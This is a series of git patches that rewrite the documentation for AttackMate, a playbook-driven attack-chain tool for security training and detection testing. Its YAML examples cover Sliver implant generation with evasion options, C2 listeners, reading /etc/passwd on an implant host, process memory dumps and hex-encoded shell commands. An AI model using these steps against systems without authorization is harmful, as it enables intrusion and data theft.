``cmd`` must be a hex-encoded string representing + the raw bytes to execute. :type: bool :default: ``False`` @@ -103,7 +109,7 @@ Execute local shell-commands. .. code-block:: yaml commands: + # "6964" is the hex encoding of "id": - type: shell - # hex-code for "id" cmd: "6964" - bin: True + bin: true From 3d7266ce9273e1cc9fae3e8f15cf0cca0ddce1a7 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Wed, 11 Mar 2026 10:52:12 +0100 Subject: [PATCH 26/40] more command docs --- docs/source/playbook/commands/sleep.rst | 37 +- .../playbook/commands/sliver-session.rst | 363 ++++++++++-------- docs/source/playbook/commands/sliver.rst | 53 +-- docs/source/playbook/commands/vnc.rst | 122 +++--- docs/source/playbook/commands/webserv.rst | 29 +- 5 files changed, 319 insertions(+), 285 deletions(-) diff --git a/docs/source/playbook/commands/sleep.rst b/docs/source/playbook/commands/sleep.rst index e81bc673..49cda241 100644 --- a/docs/source/playbook/commands/sleep.rst +++ b/docs/source/playbook/commands/sleep.rst @@ -2,30 +2,20 @@ sleep ===== -Sleep a certain amount of seconds. +Pause execution for a fixed or randomised number of seconds. .. code-block:: yaml - ### commands: + # Sleep for 60 seconds - type: sleep seconds: 60 -.. confval:: min_sec - - This option defines the minimum seconds to sleep. This - is only relevant if option **random** is set to True - - :type: int - :default: ``0`` - - .. confval:: seconds - This options sets the seconds to sleep. If the option - **random** is set to True, this option is the maximum time - to sleep. + Number of seconds to sleep. When :confval:`random` is ``True``, this serves as + the upper bound of the random range. :type: int :default: ``1`` @@ -34,22 +24,25 @@ Sleep a certain amount of seconds. .. confval:: random - This option allows to randomize the seconds to wait. The minimum - and maximum seconds for the range can be set by **min_sec** and - **seconds**. - + Sleep for a random duration between :confval:`min_sec` and :confval:`seconds` + instead of a fixed duration. :type: bool :default: ``False`` - The following example will take a random amount of seconds between 30 seconds - and 60 seconds: +.. confval:: min_sec + + Lower bound in seconds for the random sleep range. Only used when + :confval:`random` is ``True``. + + :type: int + :default: ``0`` .. code-block:: yaml - ### commands: + # Sleep for a random duration between 30 and 60 seconds - type: sleep seconds: 60 min_sec: 30 @@ -58,7 +51,7 @@ Sleep a certain amount of seconds. .. confval:: cmd - This option is ignored + This option is ignored. It is only present to allow the use of the generic command syntax and does not have any effect on the behavior of the command. :type: str :default: ``sleep`` diff --git a/docs/source/playbook/commands/sliver-session.rst b/docs/source/playbook/commands/sliver-session.rst index fc29806f..515950a2 100644 --- a/docs/source/playbook/commands/sliver-session.rst +++ b/docs/source/playbook/commands/sliver-session.rst @@ -4,165 +4,79 @@ sliver-session ============== -There are multiple commands from type 'sliver-session' to execute commands in an -active sliver session. +Execute commands within an active Sliver implant session. All commands require a +:confval:`session` field identifying the target implant. -ls --- - -List files and directories on the remote host - -.. code-block:: yaml - - ### - commands: - - type: sliver-session - cmd: ls - remote_path: /etc - session: implant-name - - -.. confval:: remote_path +.. note:: - Path to list all files - - :type: str - :required: ``True`` + **For developers:** The ``sliver`` and ``sliver-session`` command families use a legacy + ``type`` + ``cmd`` discrimination pattern and should not be replicated. New commands + must define a unique ``type`` literal and handle sub-behavior branching via ``cmd`` + in the executor. See :ref:`command` for details. .. confval:: session - The name of the sliver implant to connect to. Defined previously by the by sliver generate_implant command. + Name of the Sliver implant session to operate in. The implant must have been + generated and deployed previously via the :ref:`sliver` generate_implant command. :type: str :required: ``True`` +File System +----------- -cd --- +ls +^^^ -Change the working directory +List files and directories on the remote host. .. code-block:: yaml - ### commands: - type: sliver-session - cmd: cd - remote_path: /home + cmd: ls + remote_path: /etc session: implant-name .. confval:: remote_path - Path to change to + Path to list all files. :type: str :required: ``True`` -netstat -------- - -Print network connection information - -.. code-block:: yaml - - ### - commands: - - type: sliver-session - cmd: netstat - tcp: True - udp: True - ipv4: True - ipv6: False - listening: True - session: implant-name - - -.. confval:: tcp - - Display information about TCP sockets - - :type: bool - :default: ``True`` - -.. confval:: udp - - Display information about UDP sockets - - :type: bool - :default: ``True`` - -.. confval:: ipv4 - - Display information about IPv4 sockets - - :type: bool - :default: ``True`` - -.. confval:: ipv6 - - Display information about IPv6 sockets - - :type: bool - :default: ``True`` - -.. confval:: listening - - Display information about listening sockets - - :type: bool - :default: ``True`` - - -execute -------- +cd +^^^ -Execute a program on the remote system +Change the working directory of the active session. .. code-block:: yaml - ### commands: - type: sliver-session - cmd: execute - exe: /usr/bin/grep - args: - - root - - /etc/passwd - output: True + cmd: cd + remote_path: /home session: implant-name -.. confval:: exe +.. confval:: remote_path - Command to execute + Path to change to :type: str :required: ``True`` -.. confval:: args - - List of command arguments - - :type: List[str] - -.. confval:: output - - Capture command output - - :type: bool - :default: ``True`` mkdir ------ +^^^^^ Create a remote directory. .. code-block:: yaml - ### commands: - type: sliver-session cmd: mkdir @@ -172,60 +86,66 @@ Create a remote directory. .. confval:: remote_path - Path to the directory to create + Path to the directory to create. :type: str :required: ``True`` -ifconfig --------- +pwd +^^^ -View network interface configurations +Print working directory of the active session. .. code-block:: yaml - ### commands: - type: sliver-session - cmd: ifconfig + cmd: pwd session: implant-name -ps --- -List processes of the remote system +rm +^^^ + +Delete a remote file or directory. .. code-block:: yaml - ### commands: - type: sliver-session - cmd: ps + cmd: rm + remote_path: /tmp/somefile session: implant-name +.. confval:: remote_path -pwd ---- + Path to the file to remove. -Print working directory of the active session. + :type: str + :required: ``True`` -.. code-block:: yaml +.. confval:: recursive - ### - commands: - - type: sliver-session - cmd: pwd - session: implant-name + Recursively remove files + + :type: bool + :default: ``False`` + +.. confval:: force + + Ignore safety and forcefully remove files. + + :type: bool + :default: ``False`` download --------- +^^^^^^^^ Download a file or directory from the remote system. Directories will be downloaded as a gzipped tar-file. .. code-block:: yaml - ### commands: - type: sliver-session cmd: download @@ -236,7 +156,7 @@ Download a file or directory from the remote system. Directories will be downloa .. confval:: remote_path - Path to the file or directory to download + Path to the file or directory to download. :type: str :required: ``True`` @@ -257,13 +177,12 @@ Download a file or directory from the remote system. Directories will be downloa :default: ``False`` upload ------- +^^^^^^ Upload a file to the remote system. .. code-block:: yaml - ### commands: - type: sliver-session cmd: upload @@ -273,87 +192,159 @@ Upload a file to the remote system. .. confval:: remote_path - Path to the file or directory to upload to + Destination path on the remote host. :type: str :required: ``True`` .. confval:: local_path - Local path to the file to upload + Path to the local file to upload. :type: str .. confval:: is_ioc - Track uploaded file as an ioc + Mark the uploaded file as an indicator of compromise (IOC) for tracking purposes. :type: bool :default: ``False`` +Network +------- -process_dump ------------- +netstat +^^^^^^^ -Dumps the process memory of a given pid to a local file. +Display network connection information for the remote host. .. code-block:: yaml - ### commands: - type: sliver-session - cmd: process_dump - pid: 102 - local_path: /home/user/some_service.dump + cmd: netstat + tcp: True + udp: True + ipv4: True + ipv6: False + listening: True session: implant-name -.. confval:: pid - Target Pid +.. confval:: tcp - :type: int - :required: ``True`` + Display information about TCP sockets. + :type: bool + :default: ``True`` -.. confval:: local_path +.. confval:: udp - Save to file. + Display information about UDP sockets. - :type: str - :required: ``True`` + :type: bool + :default: ``True`` +.. confval:: ipv4 -rm --- + Display information about IPv4 sockets. -Delete a remote file or directory. + :type: bool + :default: ``True`` -.. confval:: remote_path +.. confval:: ipv6 + + Display information about IPv6 sockets. + + :type: bool + :default: ``True`` + +.. confval:: listening + + Display information about listening sockets + + :type: bool + :default: ``True`` + +ifconfig +^^^^^^^^ + +Display network interface configuration of the remote host. + +.. code-block:: yaml + + commands: + - type: sliver-session + cmd: ifconfig + session: implant-name + + +Processes +--------- + +ps +^^^ + +List processes of the remote system. + +.. code-block:: yaml + + ### + commands: + - type: sliver-session + cmd: ps + session: implant-name + +execute +^^^^^^^ + +Execute a program on the remote host. + +.. code-block:: yaml + + commands: + - type: sliver-session + cmd: execute + exe: /usr/bin/grep + args: + - root + - /etc/passwd + output: True + session: implant-name - Path to the file to remove + +.. confval:: exe + + Command to execute :type: str :required: ``True`` -.. confval:: recursive +.. confval:: args - Recursively remove files + List of command arguments - :type: bool - :default: ``False`` + :type: List[str] -.. confval:: force +.. confval:: output - Ignore safety and forcefully remove files + Capture command output :type: bool - :default: ``False`` - + :default: ``True`` terminate ---------- +^^^^^^^^^ -Kills a remote process designated by PID +Kill a process on the remote host by PID. + +.. code-block:: yaml + + commands: + - type: sliver-session + cmd: terminate + pid: 1234 + session: implant-name .. confval:: pid @@ -364,7 +355,39 @@ Kills a remote process designated by PID .. confval:: force - Disregard safety and kill the PID. + Disregard safety and kill the process. :type: bool :default: ``False`` + +Memory +------ + +process_dump +^^^^^^^^^^^^ + +Dump the memory of a running process to a local file. + +.. code-block:: yaml + + commands: + - type: sliver-session + cmd: process_dump + pid: 102 + local_path: /home/user/some_service.dump + session: implant-name + +.. confval:: pid + + Target PID. + + :type: int + :required: ``True`` + + +.. confval:: local_path + + Save to file. + + :type: str + :required: ``True`` diff --git a/docs/source/playbook/commands/sliver.rst b/docs/source/playbook/commands/sliver.rst index 909e32ae..e7a97d8a 100644 --- a/docs/source/playbook/commands/sliver.rst +++ b/docs/source/playbook/commands/sliver.rst @@ -4,12 +4,19 @@ sliver ====== -There are multiple commands from type 'sliver' to controll the sliver-server via API. +Control the Sliver C2 server via its API. All commands use ``type: sliver``. + +.. note:: + + **For developers:** The ``sliver`` and ``sliver-session`` command families use a legacy + ``type`` + ``cmd`` discrimination pattern and should not be replicated. New commands + must define a unique ``type`` literal and handle sub-behavior branching via ``cmd`` + in the executor. See :ref:`command` for details. start_https_listener -------------------- -Start an HTTPS-Listener +Start an HTTPS listener on the Sliver server. .. code-block:: yaml @@ -23,70 +30,70 @@ Start an HTTPS-Listener .. confval:: host - Interface to bind server to. + Network interface to bind the listener to. :type: str :default: ``0.0.0.0`` .. confval:: port - TCP-Listen port + TCP port to listen on. :type: int :default: ``443`` .. confval:: domain - Limit responses to specific domain + Limit responses to specific domain. :type: str :default: `` `` .. confval:: website - Website name + Website name to associate with this listener. :type: str :default: `` `` .. confval:: acme - Attempt to provision a let's encrypt certificate + Attempt to provision a let's encrypt certificate. :type: bool :default: ``False`` .. confval:: persistent - Make persistent across restarts. + Keep the listener running across Sliver server restarts. :type: bool :default: ``False`` .. confval:: enforce_otp - Enable or disable OTP authentication + Require OTP authentication for connecting implants. :type: bool :default: ``True`` .. confval:: randomize_jarm - Enable randomized Jarm fingerprints + Enable randomized JARM fingerprints. :type: bool :default: ``True`` .. confval:: long_poll_timeout - Server-Side long poll timeout(in seconds) + Server-side long poll timeout(in seconds). :type: int :default: ``1`` .. confval:: long_poll_jitter - Server-Side long poll jitter(in seconds) + Server-side long poll jitter(in seconds) :type: int :default: ``2`` @@ -103,11 +110,10 @@ generate_implant ---------------- Generates a new sliver binary and saves the implant to a given path or to /tmp/. -The path to the implant is saved and can be retrieved from the variable store as $LAST_SLIVER_IMPLANT. +The path to the implant is saved and can be retrieved from the builtin variable $LAST_SLIVER_IMPLANT. .. code-block:: yaml - ### commands: - type: sliver cmd: generate_implant @@ -119,8 +125,7 @@ The path to the implant is saved and can be retrieved from the variable store as .. confval:: target - Compile the binary for the given operatingsystem to the given architecture. The - following targets are supported: + Target operating system and architecture. Supported values: * darwin/amd64 * darwin/arm64 @@ -134,14 +139,14 @@ The path to the implant is saved and can be retrieved from the variable store as .. confval:: c2url - Url which is used by the implant to find the C2 server. + URL which is used by the implant to reach the C2 server. :type: str :required: True .. confval:: format - Specifies the output format for the implant. Valid formats are: + Output format for the implant binary. One of: * EXECUTABLE * SERVICE @@ -154,15 +159,15 @@ The path to the implant is saved and can be retrieved from the variable store as .. confval:: name Name of the implant. - This name is the session used by the attackmate command 'sliver-session'. + This name is the session identifier used by :ref:`sliver-session ` commands. :type: str :required: True .. confval:: filepath - The local filepath to save the implant to. If none is given the implant is saved in /tmp. - The will be random and have the format ^tmp[a-z0-9]{8}$. + The local filepath to save the implant to. If omitted, the implant is saved to ``/tmp``. + The filename will be randomly genrated and have the format ^tmp[a-z0-9]{8}$. :type: str @@ -170,21 +175,21 @@ The path to the implant is saved and can be retrieved from the variable store as .. confval:: IsBeacon - Generate a beacon binary + Generate a beacon-mode implant instead of a session-mode implant. :type: bool :default: False .. confval:: RunAtLoad - Run the implant entrypoint from DllMain/Constructor(shared library only) + Run the implant entrypoint from DllMain/Constructor (shared library only). :type: bool :default: ``False`` .. confval:: Evasion - Enable evasion features (e.g. overwrite user space hooks) + Enable evasion features such as overwriting user space hooks. :type: bool :default: ``False`` diff --git a/docs/source/playbook/commands/vnc.rst b/docs/source/playbook/commands/vnc.rst index 1f41adfc..5d996453 100644 --- a/docs/source/playbook/commands/vnc.rst +++ b/docs/source/playbook/commands/vnc.rst @@ -2,12 +2,14 @@ vnc === -Execute commands on a remote server via VNC. Uses the `vncdotool `_ library. +Execute commands on a remote host via VNC, using the +`vncdotool `_ library. Connection settings are +cached after the first command, so subsequent commands only need to specify what changes. -.. note:: +.. warning:: - This command caches all the settings so - that they only need to be defined once. + VNC sessions must be explicitly closed with ``cmd: close``, otherwise AttackMate + will hang on exit. .. code-block:: yaml @@ -18,7 +20,7 @@ Execute commands on a remote server via VNC. Uses the `vncdotool Date: Wed, 11 Mar 2026 10:58:12 +0100 Subject: [PATCH 27/40] rewrite session docs --- docs/source/playbook/session/index.rst | 48 ++++++++++++++++++-------- 1 file changed, 33 insertions(+), 15 deletions(-) diff --git a/docs/source/playbook/session/index.rst b/docs/source/playbook/session/index.rst index 6312ce17..e782beb3 100644 --- a/docs/source/playbook/session/index.rst +++ b/docs/source/playbook/session/index.rst @@ -4,64 +4,82 @@ Sessions, Interactive ===================== -Many commands of AttackMate support the setting "session" or "interactive. -This chapter is about these important concepts of AttackMate. +Many AttackMate commands support the ``creates_session``, ``session``, and ``interactive`` +options. This page explains these concepts and when to use them. Session -------- +-------- -AttackMate executes all commands stateless. Therefore, each command is executed in a new "environment". -What "environment" means depends on the type of the command. For example, every stateless shell -command spawns a new shell process. As illustrated in the following image, every shell command -is executed in a new `/bin/sh` process. +By default, AttackMate executes all commands statelessly — each command runs in a fresh +environment. What "environment" means depends on the command type: a ``shell`` command +spawns a new ``/bin/sh`` process, an ``ssh`` command opens a new SSH connection, and so on. .. image:: /images/Stateless-Command.png -The ssh-command on the other hand, establishes with every new stateless execution a new SSH connection. -AttackMate will log in to the target with every single command execution. However, sometimes you want the AttackMate not to log on to the target system every time you execute a command. To achieve this, you can use sessions. +This means that directory changes, environment variables, or open connections from one +command are not visible to the next. To persist state across commands, AttackMate supports +sessions. -Many commands support the "creates_session" option. This allows you to specify a session name and AttackMate saves the environment of the command. By using the session name for further commands, it is possible to continue where the previous command left off at any time. The following figure shows how the first command uses create_session to execute a stateful command. The third command can then continue in the same environment as the first command by using the session. +Any command that supports the ``creates_session`` option will save its environment under +the given session name. Subsequent commands can then reference that name via ``session`` +to continue working in the same environment, as illustrated below. .. image:: /images/Stateful-Command.png Interactive ----------- -Many commands work in such a way that they first execute something and then collect and return the output. Sometimes, however, commands are executed that do not produce any output. In such cases, AttackMate would wait forever. One such example would be executing the text editor vim on the command line. Vim is started and waits for input. AttackMate gets no output, or the process does not terminate and so it waits forever. Interactive mode is available for such cases. This mode causes commands to be executed for a limited time only. After this time has elapsed, AttackMate continues. The following example shows how AttackMate executes vim with the help of a session and the interactive mode in a shell command and then types keyboard strokes into the open vim sessions. +Most commands work by executing something and waiting for the process to finish before +collecting its output. This breaks down for interactive programs that wait for user input +and never terminate on their own — for example, opening ``vim`` from a shell command would +cause AttackMate to wait forever for output that never comes. + +Interactive mode solves this by running a command for a limited time only. Instead of +waiting for the process to finish, AttackMate reads output until no new output has arrived +for a configurable timeout period, then moves on to the next command. + +.. warning:: + + Commands executed in interactive mode **MUST** end with a newline character (``\n``). + +The following example opens ``vim``, remaps a key, types text, and saves the file — all +using a combination of sessions and interactive mode: .. code-block:: yaml commands: + # Open vim and create a session: - type: shell cmd: "vim /tmp/test\n" interactive: True creates_session: vim + # Remap 'jj' to Escape in insert mode: - type: shell cmd: ":inoremap jj \n" interactive: True session: vim + # Enter insert mode: - type: shell cmd: "o" interactive: True session: vim + # Type some text: - type: shell cmd: "Hello World" interactive: True session: vim + # Exit insert mode using the remapped key: - type: shell cmd: "jj" interactive: True session: vim + # Save and quit: - type: shell cmd: ":wq!\n" interactive: True session: vim - -.. warning:: - - Please note that you **MUST** send a newline when you execute interactive commands! From bf55f997be7affb127aeb87c0cb4028306ee8bb5 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Wed, 11 Mar 2026 11:08:02 +0100 Subject: [PATCH 28/40] typos and formatting --- docs/source/basic.rst | 4 ++-- docs/source/playbook/examples.rst | 2 +- docs/source/playbook/vars.rst | 7 +++---- docs/source/preparation/index.rst | 2 +- docs/source/preparation/metasploit.rst | 14 +++++++------- 5 files changed, 14 insertions(+), 15 deletions(-) diff --git a/docs/source/basic.rst b/docs/source/basic.rst index 3ce1368a..ecdd48c9 100644 --- a/docs/source/basic.rst +++ b/docs/source/basic.rst @@ -25,7 +25,7 @@ Sample Playbook =============== The following playbook demonstrates a simple reconnaissance chain using nmap, regex parsing, -and nikto: +and a conditional nikto scan: .. code-block:: yaml @@ -89,7 +89,7 @@ Expected output: Explanation =========== -**vars** defines reusable variables that can be referenced throughout the ``commands`` section. +**vars** defines reusable variables that can be referenced throughout the ``commands`` section via ``$VARNAME`` substitution. In this example, we define the path to the nmap binary, the target host, and the web port to attack. The nmap-binary is expected at the location */usr/bin/nmap*, the target to attack is *localhost* and the web-port to attack is *8000*. diff --git a/docs/source/playbook/examples.rst b/docs/source/playbook/examples.rst index 3dd94330..6ae84bd9 100644 --- a/docs/source/playbook/examples.rst +++ b/docs/source/playbook/examples.rst @@ -3,7 +3,7 @@ Examples ======== The following example playbooks require an installed `Metasploitable2 `_ virtual machine and -a `Kali Linux `_ with some packages installed: +a `Kali Linux `_ with the following packages installed: * AttackMate * NMap diff --git a/docs/source/playbook/vars.rst b/docs/source/playbook/vars.rst index 1c736679..0e54c219 100644 --- a/docs/source/playbook/vars.rst +++ b/docs/source/playbook/vars.rst @@ -10,19 +10,18 @@ defined in the ``vars`` section, but **must** be prefixed with ``$`` when refere in the ``commands`` section. If an environment variable with the prefix ``ATTACKMATE_`` exists with the same name, it will override the playbook variable. For example, the playbookvariabel $FOO will -be overwritten be environment variabel $ATTACKMATE_FOO. +be overwritten be environment variabel ``$ATTACKMATE_FOO``. .. code-block:: yaml - ### vars: + # the $-sign is optional here: $SERVER_ADDRESS: 192.42.0.254 - # the $-sign is optional here: $NMAP: /usr/bin/nmap commands: - type: shell - # the $-sign is required when referencing the variable: + # the $-sign is required when referencing a variable: cmd: $NMAP $SERVER_ADDRESS .. note:: diff --git a/docs/source/preparation/index.rst b/docs/source/preparation/index.rst index 68d2ab42..4d4e6691 100644 --- a/docs/source/preparation/index.rst +++ b/docs/source/preparation/index.rst @@ -4,7 +4,7 @@ Preparation Even though AttackMate can be used out of the box, for some commands it is necessary to install and set up the corresponding tools. The following -pages are going to explain how to setup and install :ref:`Sliver ` +pages explain how to setup and install :ref:`Sliver ` and :ref:`Metasploit `, as well as :ref:`Playwright ` for browser-based commands. .. toctree:: diff --git a/docs/source/preparation/metasploit.rst b/docs/source/preparation/metasploit.rst index 9612fb58..81c415da 100644 --- a/docs/source/preparation/metasploit.rst +++ b/docs/source/preparation/metasploit.rst @@ -4,21 +4,21 @@ Prepare Metasploit ================== -It is recommended to install Metasploit as it is described in the +It is recommended to install Metasploit as described in the official `Metasploit documentation `_. -If you run Kali Linux, you could also install it from the Kali Linux repositories using apt: +On Kali Linux, you can also install it from the repositories using apt: :: $ sudo apt update && sudo apt install metasploit-framework -AttackMate needs the RPC-daemon(msfrpcd) for communication with Metasploit. -It is possible to protect the daemon with a password. The following example -starts the msfrpcd with a password: +AttackMate communicates with Metasploit via the RPC daemon (``msfrpcd``). Start it +(optionally with a password) before running AttackMate: :: - $ msfrpcd -P securepassword + $ msfrpcd -P securepassword -After starting the msfrpcd, it will listen on all interfaces on port ``55553``. +Once started, ``msfrpcd`` listens on all interfaces on port ``55553``. Configure the +connection in AttackMate via :ref:`msf_config`. From 7189ae75bc124e297f5187b5bc27f36ea20a1e88 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Wed, 11 Mar 2026 11:10:10 +0100 Subject: [PATCH 29/40] rewrite how --- docs/source/how.rst | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/docs/source/how.rst b/docs/source/how.rst index 64beb20e..a42cce01 100644 --- a/docs/source/how.rst +++ b/docs/source/how.rst @@ -2,6 +2,16 @@ How it works ============ -AttackMate is designed so that there can be different commands in a playbook which can be executed by corresponding executors. For example, there are executors that can orchestrate Metasploit or executors for the Sliver framework. The attacks that are carried out are real attacks and require vulnerable systems to be successful. +AttackMate executes playbooks consisting of commands, each handled by a corresponding +executor. Executors integrate with external tools and frameworks, for example the +Metasploit executor can run modules and manage sessions, while the Sliver executor can +generate implants and issue C2 commands. A full list of available executors and their +commands can be found in the :ref:`commands ` reference. + +.. note:: + + AttackMate executes real attacks and requires intentionally vulnerable or + dedicated test systems. Never run AttackMate against systems + you do not own or have explicit permission to test. .. image:: images/attackmate-schema.png From 77bfc0b2bcfc9f6ad84597d1105db59fccfe0893 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Wed, 11 Mar 2026 11:13:43 +0100 Subject: [PATCH 30/40] formatting --- docs/source/configuration/bettercap_config.rst | 4 +--- docs/source/configuration/command_config.rst | 1 - docs/source/configuration/index.rst | 1 - docs/source/configuration/msf_config.rst | 1 - docs/source/configuration/sliver_config.rst | 1 - 5 files changed, 1 insertion(+), 7 deletions(-) diff --git a/docs/source/configuration/bettercap_config.rst b/docs/source/configuration/bettercap_config.rst index cfd5d0c9..71d1b60b 100644 --- a/docs/source/configuration/bettercap_config.rst +++ b/docs/source/configuration/bettercap_config.rst @@ -11,7 +11,6 @@ is used as the default. .. code-block:: yaml - ### bettercap_config: default: url: "http://localhost:8081" @@ -29,7 +28,6 @@ default connection is used when none is specified: .. code-block:: yaml - # bettercap-playbook.yml: commands: # this is executed on the remote host: - type: bettercap @@ -56,7 +54,7 @@ default connection is used when none is specified: .. confval:: password - HTTP Basic Auth password for the BettercapREST API. + HTTP Basic Auth password for the Bettercap REST API. :type: str diff --git a/docs/source/configuration/command_config.rst b/docs/source/configuration/command_config.rst index a1976a21..a0fb8d0f 100644 --- a/docs/source/configuration/command_config.rst +++ b/docs/source/configuration/command_config.rst @@ -7,7 +7,6 @@ These are settings for **all** commands. .. code-block:: yaml - ### cmd_config: loop_sleep: 5 command_delay: 0 diff --git a/docs/source/configuration/index.rst b/docs/source/configuration/index.rst index 8dba306c..df7ac9ed 100644 --- a/docs/source/configuration/index.rst +++ b/docs/source/configuration/index.rst @@ -24,7 +24,6 @@ sliver, metasploit and remote attackmate server: .. code-block:: yaml - ### cmd_config: loop_sleep: 5 command_delay: 0 diff --git a/docs/source/configuration/msf_config.rst b/docs/source/configuration/msf_config.rst index a477c88c..015f965b 100644 --- a/docs/source/configuration/msf_config.rst +++ b/docs/source/configuration/msf_config.rst @@ -8,7 +8,6 @@ msf_config .. code-block:: yaml - ### msf_config: password: securepassword server: 10.18.3.86 diff --git a/docs/source/configuration/sliver_config.rst b/docs/source/configuration/sliver_config.rst index fad88931..e0c356f1 100644 --- a/docs/source/configuration/sliver_config.rst +++ b/docs/source/configuration/sliver_config.rst @@ -8,7 +8,6 @@ sliver_config .. code-block:: yaml - ### sliver_config: config_file: /home/attacker/.sliver-client/configs/attacker_localhost.cfg From ed10cfcdd53f678ab0671a0218c8aee93fb7ddb6 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Wed, 11 Mar 2026 11:24:02 +0100 Subject: [PATCH 31/40] fix logo --- docs/source/readme_link.md | 1 + 1 file changed, 1 insertion(+) diff --git a/docs/source/readme_link.md b/docs/source/readme_link.md index 7dcb7103..40448cb8 100644 --- a/docs/source/readme_link.md +++ b/docs/source/readme_link.md @@ -1,3 +1,4 @@ ```{include} ../../README.md :relative-images: +:start-line: 2 ``` From 053f0f4f1b5aa62663acd690862d8d31f6e1d205 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Wed, 11 Mar 2026 11:28:08 +0100 Subject: [PATCH 32/40] improve about --- docs/source/about.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/source/about.rst b/docs/source/about.rst index 9371dbe1..57651d7b 100644 --- a/docs/source/about.rst +++ b/docs/source/about.rst @@ -2,6 +2,6 @@ About ===== -AttackMate is a command line tool that can perform entire attack chains based on playbooks. It can be used for cybersecurity training as well as for testing detection engines. AttackMate is so designed that any part of an attack can be easily replaced or varied. Furthermore, the playbooks enable the portability and reproducibility of attack chains. A key focus was on user-friendliness and flexibility for attack chain designers. +AttackMate is a command-line tool that executes full attack chains defined in playbooks. It is designed for cybersecurity training, red team exercises, and testing detection engines. Individual attack steps can be freely replaced or varied, and playbooks ensure that attack chains are portable and reproducible. A key focus was on user-friendliness and flexibility for attack chain designers. .. image:: images/Demo.gif From da5b8e0e749e111c8a5a51d7d6514b437a1c0707 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Wed, 11 Mar 2026 11:43:36 +0100 Subject: [PATCH 33/40] docs consistency --- docs/source/conf.py | 1 + docs/source/installation/ansible.rst | 12 +++++----- docs/source/installation/docker.rst | 2 +- docs/source/installation/manual.rst | 4 ++-- docs/source/installation/sliverfix.rst | 3 +-- docs/source/playbook/commands/httpclient.rst | 2 +- docs/source/playbook/commands/include.rst | 2 +- docs/source/playbook/commands/loop.rst | 6 ++--- docs/source/playbook/commands/mktemp.rst | 2 +- .../playbook/commands/sliver-session.rst | 24 +++++++++---------- docs/source/playbook/commands/ssh.rst | 1 + docs/source/playbook/structure.rst | 2 -- docs/source/preparation/index.rst | 4 ++-- 13 files changed, 32 insertions(+), 33 deletions(-) diff --git a/docs/source/conf.py b/docs/source/conf.py index 64b7dbff..fa9c9dcb 100644 --- a/docs/source/conf.py +++ b/docs/source/conf.py @@ -37,6 +37,7 @@ # https://www.sphinx-doc.org/en/master/usage/configuration.html#options-for-html-output html_theme = 'sphinx_rtd_theme' +html_logo = 'images/AttackMate_logo_no_logo.png' html_static_path = ['_static'] html_theme_options = { diff --git a/docs/source/installation/ansible.rst b/docs/source/installation/ansible.rst index 7a056098..d8d24e5e 100644 --- a/docs/source/installation/ansible.rst +++ b/docs/source/installation/ansible.rst @@ -9,7 +9,7 @@ Ansible. The `ansible-role `_ a .. note:: - Currently the ansible role only works with Kali, Debian and Ubuntu distributions. + Currently the ansible role supports Kali, Debian and Ubuntu distributions. Installation Steps @@ -22,7 +22,7 @@ Installation Steps $ sudo apt update $ sudo apt install ansible -y -2. Set Up the Playbook +2. Set Up the Playbook: Create a new directory for your AttackMate setup, navigate into it, and create your playbook file: @@ -32,10 +32,10 @@ Installation Steps $ cd my-attackmate $ touch install_attackmate.yml -Open the `install_attackmate.yml` file and fill it with this sample playbook to AttackMate on localhost. The playbook can also can be found on the README-page +Open the `install_attackmate.yml` file and fill it with this sample playbook to install AttackMate on localhost. The playbook can also can be found on the README page of the `github-repository `_, have a look at the role variables there for further configuration options. -:: +.. code-block:: yaml - name: Install attackmate become: true @@ -64,7 +64,7 @@ of the `github-repository `_, h localhost ansible_connection=local -3. Clone the Ansible Role +4. Clone the Ansible Role: Ansible expects all roles to be in the **roles** directory. Create this directory and clone the ansible role repository: @@ -73,7 +73,7 @@ of the `github-repository `_, h $ mkdir -p roles/attackmate $ git clone https://github.com/ait-testbed/attackmate-ansible roles/attackmate -4. Run the playbook +5. Run the playbook: :: diff --git a/docs/source/installation/docker.rst b/docs/source/installation/docker.rst index 9443a4b5..3aa808d0 100644 --- a/docs/source/installation/docker.rst +++ b/docs/source/installation/docker.rst @@ -22,4 +22,4 @@ Build the image using the following command: .. note:: Docker will also compile grpcio from sources in order to make - the sliver-api work. This might take a while. + the Sliver API work. This might take a while. diff --git a/docs/source/installation/manual.rst b/docs/source/installation/manual.rst index 21e7ec90..94f18b0f 100644 --- a/docs/source/installation/manual.rst +++ b/docs/source/installation/manual.rst @@ -13,7 +13,7 @@ following tools: .. note:: - ``python3-venv`` must only be installed if AttackMate should be installed in a virtual environment. + ``python3-venv`` only needs to be installed if AttackMate should be installed in a virtual environment. Download the sources: @@ -56,4 +56,4 @@ Run AttackMate via: Please note that you if you install from source you also need to install :ref:`sliver-fix` if you want to use the sliver commands! - The ansible role ref:`ansible` already includes the sliver-fix. + The ansible role :ref:`ansible` already includes the sliver-fix. diff --git a/docs/source/installation/sliverfix.rst b/docs/source/installation/sliverfix.rst index 72c006c7..a02087f8 100644 --- a/docs/source/installation/sliverfix.rst +++ b/docs/source/installation/sliverfix.rst @@ -36,8 +36,7 @@ dependencies: (venv)$ git submodule update --init (venv)$ pip install -r requirements.txt -Now remove the packages we want to compile by our own: - +Now remove the packages we want to compile ourselves: :: (venv)$ pip uninstall --yes protobuf diff --git a/docs/source/playbook/commands/httpclient.rst b/docs/source/playbook/commands/httpclient.rst index e27eb3df..d996bca6 100644 --- a/docs/source/playbook/commands/httpclient.rst +++ b/docs/source/playbook/commands/httpclient.rst @@ -46,7 +46,7 @@ Send HTTP requests with support for common methods, custom headers, cookies, and URL of the target. :type: str - :required: ``True`` + :required: True .. confval:: output_headers diff --git a/docs/source/playbook/commands/include.rst b/docs/source/playbook/commands/include.rst index cde9730e..fd2cb66b 100644 --- a/docs/source/playbook/commands/include.rst +++ b/docs/source/playbook/commands/include.rst @@ -30,4 +30,4 @@ Include and run commands from another yaml-file. Path to the yaml file. :type: str - :required: ``True`` + :required: True diff --git a/docs/source/playbook/commands/loop.rst b/docs/source/playbook/commands/loop.rst index 1f7e771b..f1041201 100644 --- 